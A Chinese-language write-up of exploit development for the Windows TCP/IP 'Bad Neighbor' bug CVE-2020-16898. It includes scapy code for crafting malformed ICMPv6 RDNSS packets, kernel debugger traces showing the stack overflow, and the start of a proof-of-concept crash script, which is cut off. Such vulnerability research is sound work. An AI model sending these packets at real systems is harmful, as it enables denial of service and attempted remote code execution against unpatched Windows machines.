CVE-2020-16898 – “Bad Neighbor”漏洞利用
引言
在2020年10月的补丁星期二(10月13日),微软修复了一个非常有趣(且引人注目)的漏洞:CVE-2020-16898 – Windows TCP/IP 远程代码执行漏洞。微软对该漏洞的描述如下:
“当Windows TCP/IP堆栈不正确处理ICMPv6路由器通告数据包时,存在远程代码执行漏洞。成功利用此漏洞的攻击者将能够在目标服务器或客户端上执行代码。要利用此漏洞,攻击者必须向远程Windows计算机发送特制的ICMPv6路由器通告数据包。该更新通过纠正Windows TCP/IP堆栈处理ICMPv6路由器通告数据包的方式来解决此漏洞。”
这个漏洞非常重要,我决定为其编写概念验证(Proof-of-Concept)代码。在我工作期间,还没有任何公开的利用代码。我花了大量时间分析触发该漏洞所需的所有注意事项。即使现在,可用信息仍未提供触发该漏洞的足够细节。这就是我决定总结我的经验的原因。
首先,简短总结:
- 该漏洞仅当源地址是IPv6链路本地地址时才能被利用。此要求限制了潜在目标!
- 整个负载必须是有效的IPv6数据包。如果头部设置错误过多,数据包将在触发漏洞之前被拒绝
- 在验证数据包大小的过程中,所有可选头部中定义的“长度”必须与数据包大小匹配
- 此漏洞允许 smuggling 一个额外的“头部”。该头部未经验证,并包含“长度”字段。触发漏洞后,该字段仍将根据数据包大小进行检查
- 可能触发该漏洞的Windows NDIS API有一个非常烦人的优化(从利用的角度来看)。要绕过它,需要使用分片!否则,可以触发漏洞,但不会导致内存破坏
收集漏洞信息
首先,我想了解更多关于该漏洞的信息。我能找到的唯一额外信息是检测逻辑提供的分析报告。这是一个相当有趣的命运转折,关于如何防范攻击的信息对漏洞利用有所帮助。
分析报告:
最关键的是以下信息:
“虽然我们忽略所有不是RDNSS的选项,但对于选项类型=25(RDNSS),我们检查选项中的长度(第二个字节)是否为偶数。如果是,我们标记它。如果不是,我们继续。由于长度以8字节为单位计数,我们将长度乘以8,并跳过该字节数以到达下一个选项的开始(减去1以考虑我们已经消耗的长度字节)。”
好的,我们从中了解到了什么?相当多:
- 我们需要发送RDNSS数据包
- 问题在于长度字段中的偶数
- 负责解析数据包的函数将把RDNSS负载的最后8字节引用为下一个头部
这足以开始探索。首先,我们需要生成一个有效的RDNSS数据包。
RDNSS
递归DNS服务器选项(RDNSS)是路由器通告(RA)消息的子选项之一。RA可以通过ICMPv6发送。让我们查看RDNSS的文档(https://tools.ietf.org/html/rfc5006):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
5.1. 递归DNS服务器选项
RDNSS选项包含一个或多个递归DNS服务器的IPv6地址。所有地址共享相同的生存期值。如果需要不同的生存期值,可以使用多个RDNSS选项。图1显示了RDNSS选项的格式。
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Length | Reserved |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Lifetime |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
: Addresses of IPv6 Recursive DNS Servers :
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
长度字段的描述:
1
|
Length 8位无符号整数。选项的长度(包括类型和长度字段)以8字节为单位。如果选项中包含一个IPv6地址,则最小值为3。每增加一个RDNSS地址,长度增加2。接收方使用长度字段确定选项中的IPv6地址数量。
|
这本质上意味着只要有任何负载,长度必须始终是奇数。好的,让我们创建一个RDNSS数据包。怎么做?我使用scapy,因为它是创建我们想要的任何数据包的最简单、最快的方法。非常简单:
1
2
3
4
5
6
7
8
9
|
v6_dst = <目标地址>
v6_src = <源地址>
c = ICMPv6NDOptRDNSS()
c.len = 7
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)
|
当我们设置内核调试器并分析tcpip.sys驱动程序中的所有公共符号时,可以找到有趣的函数名:
- tcpip!Ipv6pHandleRouterAdvertisement
- tcpip!Ipv6pUpdateRDNSS
让我们尝试在那里设置断点,看看我们的数据包是否到达:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
0: kd> bp tcpip!Ipv6pUpdateRDNSS
0: kd> bp tcpip!Ipv6pHandleRouterAdvertisement
0: kd> g
Breakpoint 0 hit
tcpip!Ipv6pHandleRouterAdvertisement:
fffff804`483ba398 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> kpn
# Child-SP RetAddr Call Site
00 fffff804`48a66ad8 fffff804`483c04e0 tcpip!Ipv6pHandleRouterAdvertisement
01 fffff804`48a66ae0 fffff804`4839487a tcpip!Icmpv6ReceiveDatagrams+0x340
02 fffff804`48a66cb0 fffff804`483cb998 tcpip!IppProcessDeliverList+0x30a
03 fffff804`48a66da0 fffff804`483906df tcpip!IppReceiveHeaderBatch+0x228
04 fffff804`48a66ea0 fffff804`4839037c tcpip!IppFlcReceivePacketsCore+0x34f
05 fffff804`48a66fb0 fffff804`483b24ce tcpip!IpFlcReceivePackets+0xc
06 fffff804`48a66fe0 fffff804`483b19a2 tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x25e
07 fffff804`48a670d0 fffff804`45a4f698 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xd2
08 fffff804`48a67200 fffff804`45a4f60d nt!KeExpandKernelStackAndCalloutInternal+0x78
09 fffff804`48a67270 fffff804`483a1741 nt!KeExpandKernelStackAndCalloutEx+0x1d
0a fffff804`48a672b0 fffff804`4820b530 tcpip!FlReceiveNetBufferListChain+0x311
0b fffff804`48a67550 ffffcb82`f9dfb370 0xfffff804`4820b530
0c fffff804`48a67558 fffff804`48a676b0 0xffffcb82`f9dfb370
0d fffff804`48a67560 00000000`00000000 0xfffff804`48a676b0
0: kd> g
...
|
嗯…好的。我们从未命中Ipv6pUpdateRDNSS,但确实命中了Ipv6pHandleRouterAdvertisement。这意味着我们的数据包是正常的。为什么我们没有进入Ipv6pUpdateRDNSS?
问题1 – IPv6链路本地地址
我们在这里的地址验证失败:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
fffff804`483ba4b4 458a02 mov r8b,byte ptr [r10]
fffff804`483ba4b7 8d5101 lea edx,[rcx+1]
fffff804`483ba4ba 8d5902 lea ebx,[rcx+2]
fffff804`483ba4bd 41b7c0 mov r15b,0C0h
fffff804`483ba4c0 4180f8ff cmp r8b,0FFh
fffff804`483ba4c4 0f84a8820b00 je tcpip!Ipv6pHandleRouterAdvertisement+0xb83da (fffff804`48472772)
fffff804`483ba4ca 33c0 xor eax,eax
fffff804`483ba4cc 498bca mov rcx,r10
fffff804`483ba4cf 48898570010000 mov qword ptr [rbp+170h],rax
fffff804`483ba4d6 48898578010000 mov qword ptr [rbp+178h],rax
fffff804`483ba4dd 4484d2 test dl,r10b
fffff804`483ba4e0 0f8599820b00 jne tcpip!Ipv6pHandleRouterAdvertisement+0xb83e7 (fffff804`4847277f)
fffff804`483ba4e6 4180f8fe cmp r8b,0FEh
fffff804`483ba4ea 0f85ab820b00 jne tcpip!Ipv6pHandleRouterAdvertisement+0xb8403 (fffff804`4847279b) [br=0]
|
r10指向地址的开头:
1
2
3
4
5
6
7
8
9
|
0: kd> dq @r10
ffffcb82`f9a5b03a 000052b0`80db12fd e5f5087c`645d7b5d
ffffcb82`f9a5b04a 000052b0`80db12fd b7220a02`ea3b3a4d
ffffcb82`f9a5b05a 08070800`e56c0086 00000000`00000000
ffffcb82`f9a5b06a ffffffff`00000719 aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b07a aaaaaaaa`aaaaaaaa aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b08a aaaaaaaa`aaaaaaaa aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b09a aaaaaaaa`aaaaaaaa 63733a6e`12990c28
ffffcb82`f9a5b0aa 70752d73`616d6568 643a6772`6f2d706e
|
这些字节:
1
|
ffffcb82`f9a5b03a 000052b0`80db12fd e5f5087c`645d7b5d
|
匹配我用作源地址的IPv6地址:
1
|
v6_src = "fd12:db80:b052:0:5d7b:5d64:7c08:f5e5"
|
它与字节0xFE进行比较。通过查看这里我们可以了解到:
- fe80::/10 — 链路本地前缀中的地址仅在单个链路上有效且唯一(类似于IPv4的自动配置地址169.254.0.0/16)。
好的,所以它在寻找链路本地前缀。另一个有趣的检查是当我们失败前一个时:
1
2
3
4
5
|
fffff804`4847279b e8f497f8ff call tcpip!IN6_IS_ADDR_LOOPBACK (fffff804`483fbf94)
fffff804`484727a0 84c0 test al,al
fffff804`484727a2 0f85567df4ff jne tcpip!Ipv6pHandleRouterAdvertisement+0x166 (fffff804`483ba4fe)
fffff804`484727a8 4180f8fe cmp r8b,0FEh
fffff804`484727ac 7515 jne tcpip!Ipv6pHandleRouterAdvertisement+0xb842b (fffff804`484727c3)
|
它检查我们是否来自环回地址,然后我们再次验证是否为链路本地。我修改了数据包以使用链路本地地址,然后…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
Breakpoint 1 hit
tcpip!Ipv6pUpdateRDNSS:
fffff804`4852a534 4055 push rbp
0: kd> kpn
# Child-SP RetAddr Call Site
00 fffff804`48a66728 fffff804`48472cbf tcpip!Ipv6pUpdateRDNSS
01 fffff804`48a66730 fffff804`483c04e0 tcpip!Ipv6pHandleRouterAdvertisement+0xb8927
02 fffff804`48a66ae0 fffff804`4839487a tcpip!Icmpv6ReceiveDatagrams+0x340
03 fffff804`48a66cb0 fffff804`483cb998 tcpip!IppProcessDeliverList+0x30a
04 fffff804`48a66da0 fffff804`483906df tcpip!IppReceiveHeaderBatch+0x228
05 fffff804`48a66ea0 fffff804`4839037c tcpip!IppFlcReceivePacketsCore+0x34f
06 fffff804`48a66fb0 fffff804`483b24ce tcpip!IpFlcReceivePackets+0xc
07 fffff804`48a66fe0 fffff804`483b19a2 tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x25e
08 fffff804`48a670d0 fffff804`45a4f698 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xd2
09 fffff804`48a67200 fffff804`45a4f60d nt!KeExpandKernelStackAndCalloutInternal+0x78
0a fffff804`48a67270 fffff804`483a1741 nt!KeExpandKernelStackAndCalloutEx+0x1d
0b fffff804`48a672b0 fffff804`4820b530 tcpip!FlReceiveNetBufferListChain+0x311
0c fffff804`48a67550 ffffcb82`f9dfb370 0xfffff804`4820b530
0d fffff804`48a67558 fffff804`48a676b0 0xffffcb82`f9dfb370
0e fffff804`48a67560 00000000`00000000 0xfffff804`48a676b0
|
成功了!好的,让我们进入触发漏洞阶段。
触发漏洞
我们从检测逻辑分析报告中了解到:
“我们检查选项中的长度(第二个字节)是否为偶数”
让我们测试一下:
1
2
3
4
5
6
7
8
9
|
v6_dst = <目标地址>
v6_src = <源地址>
c = ICMPv6NDOptRDNSS()
c.len = 6
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)
|
我们最终执行了以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
fffff804`4852a5b3 4c8b15be8b0700 mov r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)]
fffff804`4852a5ba e8113bceff call fffff804`4820e0d0
fffff804`4852a5bf 418bd7 mov edx,r15d
fffff804`4852a5c2 498bce mov rcx,r14
fffff804`4852a5c5 488bd8 mov rbx,rax
fffff804`4852a5c8 e8a39de5ff call tcpip!NetioAdvanceNetBuffer (fffff804`48384370)
fffff804`4852a5cd 0fb64301 movzx eax,byte ptr [rbx+1]
fffff804`4852a5d1 8d4e01 lea ecx,[rsi+1]
fffff804`4852a5d4 2bc6 sub eax,esi
fffff804`4852a5d6 4183cfff or r15d,0FFFFFFFFh
fffff804`4852a5da 99 cdq
fffff804`4852a5db f7f9 idiv eax,ecx
fffff804`4852a5dd 8b5304 mov edx,dword ptr [rbx+4]
fffff804`4852a5e0 8945b7 mov dword ptr [rbp-49h],eax
fffff804`4852a5e3 8bf0 mov esi,eax
fffff804`4852a5e5 413bd7 cmp edx,r15d
fffff804`4852a5e8 7412 je tcpip!Ipv6pUpdateRDNSS+0xc8 (fffff804`4852a5fc)
|
本质上,它从长度字段中减去1,然后将结果除以2。这遵循文档逻辑,可以总结为:
这个逻辑对奇数和偶数产生相同的结果:
1
2
|
(8 – 1) / 2 => 3
(7 – 1) / 2 => 3
|
这本身没有问题。然而,这也"定义"了数据包的长度。由于IPv6地址是16字节长,通过提供偶数,负载的最后8字节将被用作下一个头部的开始。我们也可以在Wireshark中看到这一点:
这非常有趣。但是,如何处理这个?我们应该伪造什么下一个头部?为什么这很重要?嗯…我花了一些时间才弄清楚。老实说,我写了一个简单的模糊测试器来找出答案。
寻找正确的头部(问题2)
如果我们查看可用头部/选项的文档,我们真的不知道要使用哪一个(https://www.iana.org/assignments/icmpv6-parameters/icmpv6-parameters.xml):
我们知道的是ICMPv6消息具有以下一般格式:
1
2
3
4
5
6
7
8
|
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ Message Body +
| |
|
第一个字节编码数据包的"类型"。我进行了测试,并生成下一个头部与"有问题的"RDNSS完全相同。我命中了tcpip!Ipv6pUpdateRDNSS的断点,但tcpip!Ipv6pHandleRouterAdvertisement只命中了一次。我运行了我的IDA Pro并开始分析正在执行的逻辑。经过一些逆向工程后,我意识到代码中有2个循环:
- 第一个循环遍历所有头部并进行一些基本验证(长度大小等)
- 第二个循环不再进行任何验证,但解析数据包。
只要缓冲区中有更多’可选头部’,我们就在循环中。这是一个非常好的原语!无论如何,我仍然不知道应该使用什么头部,为了找出答案,我暴力尝试了所有在触发漏洞中可能的’可选头部’类型,并发现第二个循环只关心:
- 类型3(前缀信息)
- 类型24(路由信息)
- 类型25(RDNSS)
- 类型31(DNS搜索列表选项)
我分析了类型24的逻辑,因为它比类型3"更小/更短"。
栈溢出
好的。让我们尝试生成恶意的RDNSS数据包,“伪造"路由信息作为下一个:
1
2
3
4
5
6
7
8
9
|
v6_dst = <目标地址>
v6_src = <源地址>
c = ICMPv6NDOptRDNSS()
c.len = 6
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:03AA:AAAA:AAAA:AAAA" ]
pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)
|
这从未命中tcpip!Ipv6pUpdateRDNSS函数。
问题3 – 数据包大小
调试后,我意识到我们在以下检查中失败:
1
2
3
|
fffff804`483ba766 418b4618 mov eax,dword ptr [r14+18h]
fffff804`483ba76a 413bc7 cmp eax,r15d
fffff804`483ba76d 0f85d0810b00 jne tcpip!Ipv6pHandleRouterAdvertisement+0xb85ab (fffff804`48472943)
|
其中eax是数据包的大小,r15保存了已消耗的数据量信息。在那种特定情况下,我们有:
1
2
|
rax = 0x48
r15 = 0x40
|
这正是8字节的差异,因为我们使用了偶数。为了绕过它,我在最后一个头部之后放置了另一个头部。然而,我仍然遇到同样的问题。我花了一些时间才弄清楚如何操作数据包布局来绕过它。我终于设法做到了。
问题4 – 又是大小问题!
最后,我找到了正确的数据包布局,我可以进入负责处理路由信息头部的代码。然而,我没有。原因如下。从RDNSS返回后,我最终到达这里:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
fffff804`48472cba e875780b00 call tcpip!Ipv6pUpdateRDNSS (fffff804`4852a534)
fffff804`48472cbf 440fb77c2462 movzx r15d,word ptr [rsp+62h]
fffff804`48472cc5 e9c980f4ff jmp tcpip!Ipv6pHandleRouterAdvertisement+0x9fb (fffff804`483bad93)
...
fffff804`483bad15 4c8b155c841e00 mov r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)] ds:002b:fffff804`485a3178=fffff8044820e0d0
fffff804`483bad1c e8af33e5ff call fffff804`4820e0d0
...
fffff804`483bad15 4c8b155c841e00 mov r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)]
fffff804`483bad1c e8af33e5ff call fffff804`4820e0d0
fffff804`483bad21 0fb64801 movzx ecx,byte ptr [rax+1]
fffff804`483bad25 66c1e103 shl cx,3
fffff804`483bad29 66894c2462 mov word ptr [rsp+62h],cx
fffff804`483bad2e 6685c9 test cx,cx
fffff804`483bad31 0f8485060000 je tcpip!Ipv6pHandleRouterAdvertisement+0x1024 (fffff804`483bb3bc)
fffff804`483bad37 0fb7c9 movzx ecx,cx
fffff804`483bad3a 413b4e18 cmp ecx,dword ptr [r14+18h] ds:002b:ffffcb82`fcbed1c8=000000b8
fffff804`483bad3e 0f8778060000 ja tcpip!Ipv6pHandleRouterAdvertisement+0x1024 (fffff804`483bb3bc)
|
ecx保存了关于"伪造头部"的"长度"信息。然而,[r14+18h]指向数据包中剩余数据的大小。我将长度设置为最大值(0xFF),乘以8(2040 == 0x7f8)。然而,只剩下"0xb8"字节。所以,我失败了另一个大小验证!
为了修复它,我减小了"伪造头部"的大小,同时向数据包附加了更多数据。这奏效了!
问题5 – NdisGetDataBuffer()和分片
我终于找到了所有能够触发漏洞的拼图。我原以为如此…我最终执行了以下负责处理路由信息消息的代码:
1
2
3
4
5
6
7
8
9
|
fffff804`48472cd9 33c0 xor eax,eax
fffff804`48472cdb 44897c2420 mov dword ptr [rsp+20h],r15d
fffff804`48472ce0 440fb77c2462 movzx r15d,word ptr [rsp+62h]
fffff804`48472ce6 4c8d85b8010000 lea r8,[rbp+1B8h]
fffff804`48472ced 418bd7 mov edx,r15d
fffff804`48472cf0 488985b8010000 mov qword ptr [rbp+1B8h],rax
fffff804`48472cf7 448bcf mov r9d,edi
fffff804`48472cfa 498bce mov rcx,r14
fffff804`48472cfd 4c8b1558041300 mov r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)] ds:002b:fffff804`485a3178=fffff8044820e0d0
|
它尝试从数据包中获取"长度"字节来读取整个头部。然而,长度是伪造的且未经验证。在我的测试用例中,它的值为"0x100”。目标地址指向代表路由信息头部的栈。这是一个非常小的缓冲区。所以,我们应该有经典的栈溢出,但是在NdisGetDataBuffer函数内部,我最终执行了以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
fffff804`4820e10c 8b7910 mov edi,dword ptr [rcx+10h]
fffff804`4820e10f 8b4328 mov eax,dword ptr [rbx+28h]
fffff804`4820e112 8bf2 mov esi,edx
fffff804`4820e114 488d0c3e lea rcx,[rsi+rdi]
fffff804`4820e118 483bc8 cmp rcx,rax
fffff804`4820e11b 773e ja fffff804`4820e15b
fffff804`4820e11d f6430a05 test byte ptr [rbx+0Ah],5 ds:002b:ffffcb83`086a4c7a=0c
fffff804`4820e121 0f84813f0400 je fffff804`482520a8
fffff804`4820e127 488b4318 mov rax,qword ptr [rbx+18h]
fffff804`4820e12b 4885c0 test rax,rax
fffff804`4820e12e 742b je fffff804`4820e15b
fffff804`4820e130 8b4c2470 mov ecx,dword ptr [rsp+70h]
fffff804`4820e134 8d55ff lea edx,[rbp-1]
fffff804`4820e137 4803c7 add rax,rdi
fffff804`4820e13a 4823d0 and rdx,rax
fffff804`4820e13d 483bd1 cmp rdx,rcx
fffff804`4820e140 7519 jne fffff804`4820e15b
fffff804`4820e142 488b5c2450 mov rbx,qword ptr [rsp+50h]
fffff804`4820e147 488b6c2458 mov rbp,qword ptr [rsp+58h]
fffff804`4820e14c 488b742460 mov rsi,qword ptr [rsp+60h]
fffff804`4820e151 4883c430 add rsp,30h
fffff804`4820e155 415f pop r15
fffff804`4820e157 415e pop r14
fffff804`4820e159 5f pop rdi
fffff804`4820e15a c3 ret
fffff804`4820e15b 4d85f6 test r14,r14
|
在第一个’cmp’指令中,rcx寄存器保存请求的大小。Rax寄存器保存一些巨大的数字,因此我永远无法跳出该逻辑。作为该调用的结果,我得到了一个不同于本地栈地址的地址,并且没有发生溢出。我不知道发生了什么…所以我开始阅读这个函数的文档,以下是魔法:
“如果缓冲区中请求的数据是连续的,则返回值是指向NDIS提供的位置的指针。如果数据不连续,NDIS使用Storage参数如下:如果Storage参数非NULL,NDIS将数据复制到Storage处的缓冲区。返回值是传递给Storage参数的指针。如果Storage参数为NULL,则返回值为NULL。”
原来如此…我们的大数据包保存在NDIS中的某个地方,并返回指向该数据的指针,而不是将其复制到栈上的本地缓冲区。我开始搜索是否有人已经遇到这个问题,然后…当然有。查看这个链接:
http://newsoft-tech.blogspot.com/2010/02/
我们可以了解到最简单的解决方案是分片数据包。这正是我所做的,然后…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000139
(0x0000000000000002,0xFFFFF80448A662E0,0xFFFFF80448A66238,0x0000000000000000)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff804`45bca210 cc int 3
0: kd> kpn
# Child-SP RetAddr Call Site
00 fffff804`48a65818 fffff804`45ca9922 nt!DbgBreakPointWithStatus
01 fffff804`48a65820 fffff804`45ca9017 nt!KiBugCheckDebugBreak+0x12
02 fffff804`48a65880 fffff804`45bc24c7 nt!KeBugCheck2+0x947
03 fffff804`48a65f80 fffff804`45bd41e9 nt!KeBugCheckEx+0x107
04 fffff804`48a65fc0 fffff804`45bd4610 nt!KiBugCheckDispatch+0x69
05 fffff804`48a66100 fffff804`45bd29a3 nt!KiFastFailDispatch+0xd0
06 fffff804`48a662e0 fffff804`4844ac25 nt!KiRaiseSecurityCheckFailure+0x323
07 fffff804`48a66478 fffff804`483bb487 tcpip!_report_gsfailure+0x5
08 fffff804`48a66480 aaaaaaaa`aaaaaaaa tcpip!Ipv6pHandleRouterAdvertisement+0x10ef
09 fffff804`48a66830 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0a fffff804`48a66838 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0b fffff804`48a66840 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0c fffff804`48a66848 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0d fffff804`48a66850 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0e fffff804`48a66858 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0f fffff804`48a66860 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
10 fffff804`48a66868 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
11 fffff804`48a66870 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
12 fffff804`48a66878 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
13 fffff804`48a66880 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
14 fffff804`48a66888 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
...
|
成功了!
概念验证
代码可以在这里找到:
http://site.pi3.com.pl/exp/p_CVE-2020-16898.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#
from scapy.all import *
v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
c = ICMPv6NDOptEFA();
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
|